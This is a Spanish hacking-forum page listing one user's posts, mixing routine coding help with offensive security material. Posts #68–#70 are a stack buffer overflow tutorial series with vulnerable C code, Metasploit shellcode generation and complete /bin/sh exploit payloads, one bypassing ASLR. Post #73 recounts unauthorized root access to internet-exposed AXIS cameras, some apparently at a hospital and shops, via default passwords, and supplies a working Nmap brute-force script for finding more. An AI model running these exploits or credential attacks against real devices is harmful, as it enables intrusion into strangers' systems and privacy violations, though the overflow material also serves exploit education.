Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - q3rv0

#61
ahi esta mal indentado

Código: python
              if resultados > 0:
                print type(registro)
                regs = registro[0]
                print type(regs)
                # Imprimimos los resultados obtenidos
                print "Total de fallidos encontrados = %d  " % (regs)



queda asi

Código: python
#!/bin/usr/env python

import MySQLdb
import os
import datetime

from mail import Mail

def main():

    # Establecemos la conexion con la base de datos
    bd = MySQLdb.connect("IP","user","pass","database" )

    # Preparamos el cursor que nos va a ayudar a realizar las operaciones con la base de datos
    cursor = bd.cursor()

    # Preparamos el query SQL para obtener todos los empleados de la BD
    sql = "select bla,bla,bla" #where estado = 'E';"

    try:
        # Ejecutamos el comando
      cursor.execute(sql)
    # Obtenemos todos los registros en una lista de listas
            resultados = cursor.fetchone()
           
           
           
    if resultados > 0:
            print type(registro)
            regs = registro[0]
            print type(regs)
            # Imprimimos los resultados obtenidos
            print "Total de fallidos encontrados = %d  " % (regs)
            if int(regs)>0:
                sendAlert()
                print "entra funcion alert()"

                sendSMS(regs)
                print "entra funcion sms()"

            else:
                print "Todo ok esta dentro del rango normal de 0-40 fallidos"

    except Error:
    print "Error: No se pudo obtener la data"

    # Nos desconectamos de la base de datos
    cursor.close()
    bd.close()
    print (datetime.datetime.now())

    def sendAlert():
        #Set the parameters for send the mail
        from_addr = ['[email protected]']
        to_addr_list = ['[email protected]']
        cc_addr_list = ['[email protected]']
        subject = 'Python-Mail-Test-alert'
        message = 'Alerta revisar CDC programacion, hay registro en estado E'
        login = '[email protected]'
        password     = 'pass.'
        smtpserver   = 'smtp.gmail.com:port'

        #create a new object Mail() type
        newMail=Mail()

        #call sendEmail method from class
        newMail.sendEmail(from_addr,to_addr_list,cc_addr_list,subject,message,login,password,smtpserver)

    def sendSMS(self,regs):
        os.system(r"Linux console command here")

pass

if __name__ == '__main__':
    main()
#62
Aparentemente el dominio ya fue owneado, se ve que el atacante cambio el pass del panel, hasta estuvo intentando subir una webshell  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#63
Tenes que agregar "\r\n" al final del header que indicas.

Código: php
<?php
$destino="[email protected]";
$asunto="correo de prueba";
$mensaje="Este es un correo de prueba HOLA MUNDO";
$encabezados="From: Jose<[email protected]>\r\n";

if(mail($destino, $asunto, $mensaje, $encabezados)){
    echo "Mail enviado correctamente";
}else {
    echo "Error al enviar el mail";
    }
?>


Si no, mira los logs haber que anda pasando

Código: bash
cat /var/log/mail.log
#64
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
/install.php te permite configurar la instalación modificar los parametros revisa!.
Repito deja de pensar en exploits ¬¬° aprende a gatear.
Regards,
Snifer

Ahí tienes buena información. Por lo que he visto es un gestor de contenidos al que el admin NO le ha suprimido la carpeta install después de instalarlo, que es lo primero que hay que hacer. Si me equivoco que alguien me lo diga.




Scanned today; Hacked tomorrow.

Corrijo, para aprovechar ese install.php primero ahi que borrar el archivo de configuracion, tratandose de un CMS drupal, el settings.php, solo podria explotarse si no se hubieran conf los datos de la db.

#65
HTTP TRACE sirve para obtener una cookie cuando http only se ecuentra activo en el servidor y Apache mod_negotiation te puede servir para listar ficheros dentro del mismo. Yo te recomiendo que investigues mas a fondo sobre ambos metodos y otras vulnerabilidades web, nos es cuestion de agarrar nikto y algun exploit nomas.
#66
Dudas y pedidos generales / Re:Virtualbox kali conexion
Octubre 03, 2014, 08:00:24 PM
Configuracion > Red

#67
Bugs y Exploits / Re:Explotar Shellshock en smtp QMAIL
Octubre 02, 2014, 11:17:50 AM
Terrible post brother! con dhcp tmb se puede explotar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta saludos!
#68


Esta es la tercera parte de una serie de tutoriales para aprender a explotar el buffer en sistemas Linux x86.

En el anterior apartado:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Se logro encastrar codigo ejecutable y obtener una shell, pero para lograrlo debimos desactivar previamente ASLR.  Como explique anteriormente este sistema de seguridad nos dificulta un poco las cosas randomizando la memoria.

Compilaremos el siguiente codigo que sera usado durante la realizacion de este tutorial.

Código: c
#include <stdio.h>
#include <string.h>

void funcion_vulnerable(char* input)
{
    char buffer[1000];
    strcpy(buffer, input);
}
int main(int argc, char** argv)
{
    funcion_vulnerable(argv[1]);
    return 0;
}

Verificamos que ASLR se encuentra activo.

Código: bash
cat /proc/sys/kernel/randomize_va_space
2

De otra manera lo activaremos.

Código: bash
echo 2 > /proc/sys/kernel/randomize_va_space


Ahora simplemente realizaremos los pasos descriptos en los anteriores capitulos.

Compilamos el code.
Código: bash

gcc -o vuln -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb -z execstack vuln.c


Presten atencion al flag -z execstack, esto simplemente vuelve ejecutable el stack ya que NX (Non-Exec) es otra proteccion que al igual que ASLR nos va a romper bastante las pelotas denegandonos la ejecucion de un shellcode en la memoria.

Pero de todas maneras se puede evadir, tema que se tocara en el proximo tuto.

Buscamos la sobrescritura del EIP.

Código: bash
r $(python -c 'print "\x41"*1004+"\x42"*4')




Hasta aca todo muy lindo, pero todavia tenemos que saltarnos ASLR.

Una manera de hacer esto es buscando dentro del binario alguna instruccion de  llamada o salto (CALL/JMP) a algun registro. Por que si nos basamos en seguir el anterior tutorial donde sobrescribiamos el EIP con una direccion dentro de ESP que aputaba a un NOP Sled+Shellcode, simplemente no va a funcar, por el echo de que la memoria va a cambiar en cada ejecucion.

Esto podemos hacerlo con objdump.

Buscaremos la existencia de alguna instruccion CALL

Código: bash
objdump -d vuln|grep call






Perfecto, objdump nos arroja dos direcciones que llaman al registro EAX.

8048387

804840f

Entonces se nos ocurre que si podemos escribir en EAX nuestro Shellcode y pintar el EIP con la direccion CALL lograriamos realmente "pintarle la cara a ASLR".

Bien, hay una parte del buffer en EAX?

Código: bash
x/100x $eax




Como se aprecia, logramos tocar el comienzo del registro, ahora solamente nos falta generar el payload.

Ahora si nos apoyaremos en  MSF para moldear un Shellcode.

Código: bash
msf > msfpayload linux/x86/exec CMD=/bin/bash C




El unico problema que surge, es que si miramos el shellcode, este contiene "badchars", como por ejemplo la presencia de nullbytes \x00 que nos van a cortar la cadena.

Asi que le pasamos la salida a msfencode para ofuscar un poco.

Código: bash
msf > msfpayload linux/x86/exec CMD=/bin/bash R|msfencode -a x86 -e x86/alpha_mixed -b 'x\00\x0d\x0a' -t c




Fijense en el flag -b de msfencode y entre comillas la lista de badchars a evadir.

Ahora tenemos el codigo limpio y listo para agregarlo al payload que quedara de la siguiente manera.

Le restamos la longitud del Shellcode al buffer.

1004-152=852

Menos 400 NOPS que iran antes del EIP, quedando el vector de la siguiente manera

NOPS*452+Shellcode(152)+NOPS*400+EIP (call eax \x87\x83\x04\x08)

Lanzamos el exploit



Logrando esquivar satisfactoriamente ASLR.
#69


En el anterior post No tienes permitido ver los links. Registrarse o Entrar a mi cuenta se hizo una pequeña introduccion al funcionamiento del stack y a los registros del procesador, ademas se logro modificar el flujo de datos de un programa para que atente a una funcion que no habia sido llamada.

En este nuevo apartado se vera como inyectar un shellcode en la memoria para lograr ejecutar codigo a travez del desbordamiento.

Para el poc se va a utlizar el mismo source que la vez pasada salvo que el buffer aumentara su tamaño a 500 bytes.
Seguimos lo mismos pasos que en el paper anterior.

Desactivamos ASLR

Código: bash
echo 0 > /proc/sys/kernel/randomize_va_space


y compilamos

Código: bash
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o vuln vuln.c


Abrimos gdb y arrancamos por pasarle 506 caracteres

Código: bash
run $(python -c 'print "\x41"*506')






Ya vemos como se va llenando el EIP

Agregamos 2 mas y lo terminamos de completar.

Código: bash
run $(python -c 'print "\x41"*508')





Ahora bien hasta aca todo perfecto, ahora tenemos que buscar donde poder incrustar el shellcode.

Un shellcode no es mas que un conjunto de instrucciones en ensamblador programado para una tarea especifica, el shellcode que se vera a continuacion nos dara una sesion sh en el sistema. Como dije anteriormente una vez que pasamos el tamaño limite del buffer, los datos comienzan a escribirse en los demas registros, entonces vamos a ver en que otro lugar se mandaron las A's, si le echamos una ojeada al registro ESP.

Código: bash
x/100x $esp


El anterior comando nos mostrara 100 direcciones dentro de ESP



Se puede ver que parte del buffer se ha inyectado al registro, perfect!
Ahora solamente tenenemos que buscar/generar un shellcode acorde a nuestra arquitectura y OS

Podriamos generarlo con metasploit, pero para este apartado voy a utilizar uno que encontre en shell-storm

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: text
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80


El shellcode tiene un tamaño de 23 bytes por le que le restamos la long al buffer-4 bytes pertenecientes al EIP y lo incluimos dentro del payload

Quedando asi

508 NOPS - 4 bytes (EIP) =504

504 NOPS - 23 bytes (SHELLCODE) = 481 NOPS

Payload= \x90*481+shellcode(23)+EIP(4)

En este punto paso a explicar algo, por que reemplaze \x41 por \x90?

\x90 es un NOP (no operacion), un NOP es una instruccion en ensamblador que simplemente no hace nada y nos servira como puente al shellcode que se escribe despues de esta.

Ahora miremos como quedo el ESP luego de inyectar el payload, para esta ejecucion reemplaze el EIP por \x42=B.

Código: bash
run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x42"*4')


Código: bash
x/100x $esp




En el recuadro verde vemos como se colaron los NOPS y en el rojo se ve como empieza a filtrarse el shellcode.

Ahora lo unico que tenemos que hacer es indicar en el EIP cualquier direccion de memoria en donde se hayan alojado los NOPS



Usaremos esta : 0xbffffc70

La invertimos, inyectamos y esperamos la shell!

Código: bash
run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x70\xfc\xff\xbf"')




Hasta el momento se vio como explotar satisfactoriamente el desbordamiento, desactivando previamente ASLR para el proximo se vera una forma de bypassear ese sistema de seguridad. saludos!
#70
Bugs y Exploits / Desbordando el buffer en linux x86 (I)
Septiembre 07, 2014, 09:09:40 PM


Cada vez que corremos un proceso en la maquina, se crea una memoria virtual para dicho proceso, ese segmento se divide en 3 partes, el texto, los datos y por ultimo el stack, que es donde nos vamos a concentrar para realizar la explotacion de este tipo de vulnerabilidad.


Que es el stack?

El stack es un segmento en la memoria que se encarga de almacenar datos y a su vez recuperarlos, administra la informacion en modo LIFO (last in first out), quiere decir que el ultimo dato en entrar es el primero en salir, un ejemplo mas sencillo seria comparar el stack con una pila de cd's, en el que el primer cd hace de base de la pila y para llegar a el hay que retirar uno por uno los que se encuentran encima. Entonces cada vez que se ingresa un dato al stack se utiliza una instruccion denominada PUSH y cuando se retira un dato se llama a la instruccion POP, algo similar a un array.

Los registros del procesador.

El procesador cuenta con varios registros que cumplen diversas tareas en el stack, por el momento solo voy a mencionar a 3 de ellos.

EIP - Registro que almacena la direccion de memoria de la proxima funcion que se va a ejecutar.

ESP - Apunta a la parte superior del stack

EBP - Aputa a la base del stack


Ahora que ya se explicaron algunos conceptos basicos sobre el tema, vayamos al nudo del tutorial.


Que es un Buffer overflow?

Empezemos por definir que es un buffer, no es mas que un espacio de memoria en donde se vuelcan datos para determinada accion por ejemplo, tengo el siguiente programa en c.

Código: c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {

    char buffer[10];

    strcpy(buffer, argv[1]);

    printf(buffer);

    return 0;
}


Donde se define un buffer de 10 bytes, luego se lo pasa a la funcion strcpy que almacena en el buffer el argumento insertado por el usuario, esta misma no se encarga de controlar el tamaño limite del buffer por lo tanto si se introduce una mayor cantidad de caracteres,  el espacio desbordara y comenzara a sobrescribir los registros de memoria cercanos al buffer.

Antes que nada, vamos a desactivar ASLR

ASLR en criollo es un sistema de seguridad que vuelve aleatoria las direcciones de la memoria virtual.

Código: bash
echo 0 > /proc/sys/kernel/randomize_va_space


y compilaremos el prog con los siguientes flag de gcc.

Código: bash
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o prog prog.c


Para quitarle algunas protecciones al stack que le agrega gcc al compilar.

Probemos pasandole mas de 10 caracteres al programa.



Como se ve el programa crashea, veamos que pasa por dentro con gdb.

Código: bash
gdb prog


Le pasamos los argumentos

Código: bash
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


y una vez que el prog nos patee miramos en los registros a ver que encontramos?

Código: bash
info registers




Como se ve en la imagen, se sobrescribieron dos registros como EIP y EBP con x41, que representa el caracter A en hex.

Ahora por que crashea?, como explique anteriormente, el registro EIP contenia la direccion  de la proxima funcion a ejecutar, pero al ser sobreescrito con 4 A's, EIP termina apuntando a una direccion invalida.

Sabiendo que podemos inyectar en EIP, podriamos controlar el flujo del programa y mandarlo a la direccion que se nos ocurra.

Controlando el flujo de ejecucion.

Vamos con otro ejemplo pero un poco mas divertido.

Le agregue la funcion owned() al programa anterior, que lo unico que hace es imprimir un texto.

Código: c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void owned(){
    printf("Owned :)");
}


int main(int argc, char *argv[]) {

    char buffer[10];

    strcpy(buffer, argv[1]);

    printf(buffer);

return 0;
}


Pero no vamos a llamarla en el code, sino que vamos a inyectarle la direccion de memoria de owned() al EIP para asi alterar la salida del prog.

Compilamos y abrimos con gdb.

Ahora tenemos que saber el punto exacto donde empieza a sobrescribirse EIP.

Le pasamos 14 A's - nada

Le pasamos 15 A's y se puede ver como empieza a infectarse el EIP



Como una direccion de memoria esta compuesta por 4 bytes le sumamos 3 y tenemos el EIP bien pintado con 18 A's.



Ahora solo nos queda averiguar la direccion donde la funcion owned() comienza a ser pusheada al stack, para esto vamos a desensamblarla

Código: bash
disas owned




Se ven las instrucciones del codigo ensamblador, la primera linea comienza a pushear la funcion asi que usaremos esa direccion de memoria: 0x08048408

Ahora que tenemos la direccion con la que editaremos el EIP, solo basta restar 4 A's e incluirla.

A*14 + 0x08048408

Voy a utlizar python para realizar la inyeccion. como se ve, se utiliza el escape \x para codificar los datos.



Pero si miramos la direccion a donde apunta el EIP vemos que esta al revez, esto pasa por que los procesadores Intel utilizan el sistema little-endian por lo tanto tendremos que invertir la direccion antes de ingresarla.



Y ahora si logramos ver la salida de la funcion owned.

Y si en vez de direccionar a una funcion, lograramos llegar hasta un shellcode alojado en la memoria?, eso se vera en el proximo tutorial, saludos!
#71
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Genial gracias, ahora le pego 1 leida.
Y con respecto a "que busco", en realidad es un tema del cual nunca le presté demasiada atención y me gustaría conocer un poco más las vulnerabilidades.Alguna herramienta en la cual se pueda testear, etc. No me voy a poner a leer como trabaja el protocolo IEEE y buscar fallos.
Herramientas vi que hay muchas, pero quizas para la gente que está en tema quizas recomendaban algo como "SQLMAP" para sqli.
Sds

El pdf viene con todo lo que andas buscando, aparte realiza una introduccion al protocolo y sus respectivas capas, por que si vas a usar alguna tool del apartado tenes que entender como funciona.
#72
El hacking Bluetooth andaba bien antes de la actualizacion del protocolo, solo funciona con telefonos que implementen una version vieja de este, igual te dejo un pdf que desarrolla mucho sobre la seguridad en bluetooth.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#73


Hay veces en las que se me da por jugar con Shodan, realizando busqueda de routers, camaras IP u otros dispositivos, esta vez me puse a indagar las camaras AXIS que se encontraban en la red publica.

Simplemente poniedon AXIS en el buscador podemos encontrar unas cuantas disponibles, sin embargo la gran mayoria dispone de autentificacion HTTP Digest para acceder al panel (pero no todas) incluso muchas poseen passwords como el clasico 123456.



Entonces me puse a averiguar informacion de este tipo de camaras, que bien son dispositivos con Linux arm* embebido y otra cosa interesante es que el user por defecto es root, asi que me puse a probar intentos de logueo con root:123456, root:root, siempre a travez de las direcciones que me arrojaba shodan y me cruze con una gran cantidad de dispositivos que realmente estaban configurados con esas credenciales y es mas algunos ni siquiera tenian activado la autentificacion por http.

Me tope con algunas como estas:

Lo que pareciera ser un hospital.



Un pequeño local de electrodomesticos en Arabia Saudita



Una pancheria en Medellin Colombia.



Ahora que ya habia accedido al panel,  queria ver la forma de tomar el control del mini OS GNU.

Por empezar estos dispositivos cuentan con un servidor ftp configurado con las mismas credenciales que el http, pero por defecto el demonio telnet se encuentra desabilitado al inicio, pero esto no quita que pueda ser activado a travez del servidor web utilizando un editor de ficheros dentro de las opciones del sistema.



Solo basta con editar el fichero /etc/inittab y descomentar la linea:

Código: bash
#tnet:35:once:/usr/sbin/telnetd




Salvar los cambios, y reiniciar el dispositivo, esto podemos hacerlo mediante el panel.



O bien por ftp con el siguiente comando.

Código: bash
quote site reboot




Una vez iniciado el sistema seremos capaces de establecer una conexion por telnet como usuario root.



No quedando satisfecho con la pobre cantidad de camaras que me proveia shodan me dispuse a codear un NSE script para realizar sondeos con nmap y ver que me encontraba.

La manera de identificar estos juguetitos es mirando el banner que tira el ftp, una vez identificado, el script simplemente intenta loguearse como root, utilizando contraseñas debiles y ademas comprueba si el panel se encuentra protegido.

Código: perl
description = [[
Script que se encarga de buscar camaras AXIS que contengan credenciales debiles
o sin autentificacion HTTP digest.
]]

author = "[Q]3rV[0]"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"brute", "auth"}

---
--
-- @usage nmap --script=axis_search -vv -T4 -Pn -n xx.xx.xxx.x -p80,21
-- @output
--PORT   STATE SERVICE
--21/tcp open  ftp
--80/tcp open  http

--Host script results:
--| axis:
--|   Host = xxx.x.xxx.3
--|   Version = AXIS M7010 Video Encoder 5.40.6.1 (2011) ready.
--|_  Auth = root:root
--
---


local http = require "http"
local ftp = require "ftp"
local nmap = require "nmap"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"

hostrule=function(host)
local http_port, ftp_port
http_port=nmap.get_port_state(host, {number=80, protocol="tcp"})
if not http_port and not (http_port.state=="open" or http_port.state=="open|filtered") then
return false
end
ftp_port=nmap.get_port_state(host, {number=21, protocol="tcp"})
if not ftp_port and not (ftp_port.state=="open" or ftp_port.state=="open|filtered") then
return false
end
return true
end

local out={}

local dic={'root', 123456, 1234}

local function data_out(out, message_banner, auth, host)
table.insert(out, string.format("Host = %s", host.ip))
table.insert(out, string.format("Version = %s", message_banner))
    table.insert(out, string.format("Auth = %s", auth))
    return stdnse.format_output(true, out)
end

local function http_auth(host)
local response=http.get(host, 80, '/view/viewer_index.shtml')
return response
end


action=function(host)
local socket=nmap.new_socket()
socket:connect(host, 21)
local buffer=stdnse.make_buffer(socket, "\r?\n")
local code, message_banner=ftp.read_reply(buffer)
if string.match(message_banner, "AXIS") then
local response=http_auth(host)
if response.status==401 or response.status==404 or response.status==403 then
for n,pass in ipairs(dic) do
socket:send("USER root\r\n")
local code, message=ftp.read_reply(buffer)
if code==331 then
socket:send("PASS "..pass.."\r\n")
end
local code, message=ftp.read_reply(buffer)
if message == "User logged in, proceed." then
return data_out(out, message_banner, 'root:'..pass, host)
end
end
else
return data_out(out, message_banner, 'HTTP Blank Auth :)', host)
end
return data_out(out, message_banner, 'Failed Auth :(', host)
end
end


Para terminar dejo una salida del script realizando un sondeo de prueba a la red xx.xxx.xx.x/24


#74
Mostra el error que tira. Probablemente se deba a alguna falta de extencion de Virtualbox.
#76
Creo que le haria falta algun crawler que indexe todo el sitio y vaya probando con los path en el diccionario. Por que para eso me bajo el dics.txt, se lo paso a dirbuster y seria lo mismo. Ademas comparto la idea de 0b3Y que busque strings en el source de la aplicacion, que contengan el indicio de algun tipo de webshell.
#78
Muy linda! pero me quedo con el bash clasico :P
#79
Si tenes privs con mimikatz

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#80
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Con un telefono con android.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Busca la app que se llama WifiKill, scanneas, y le matas la conexion a la ip que queres..

Saludos!
ANTRAX



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Un saludo.


En ningun momento menciono una conexion wireless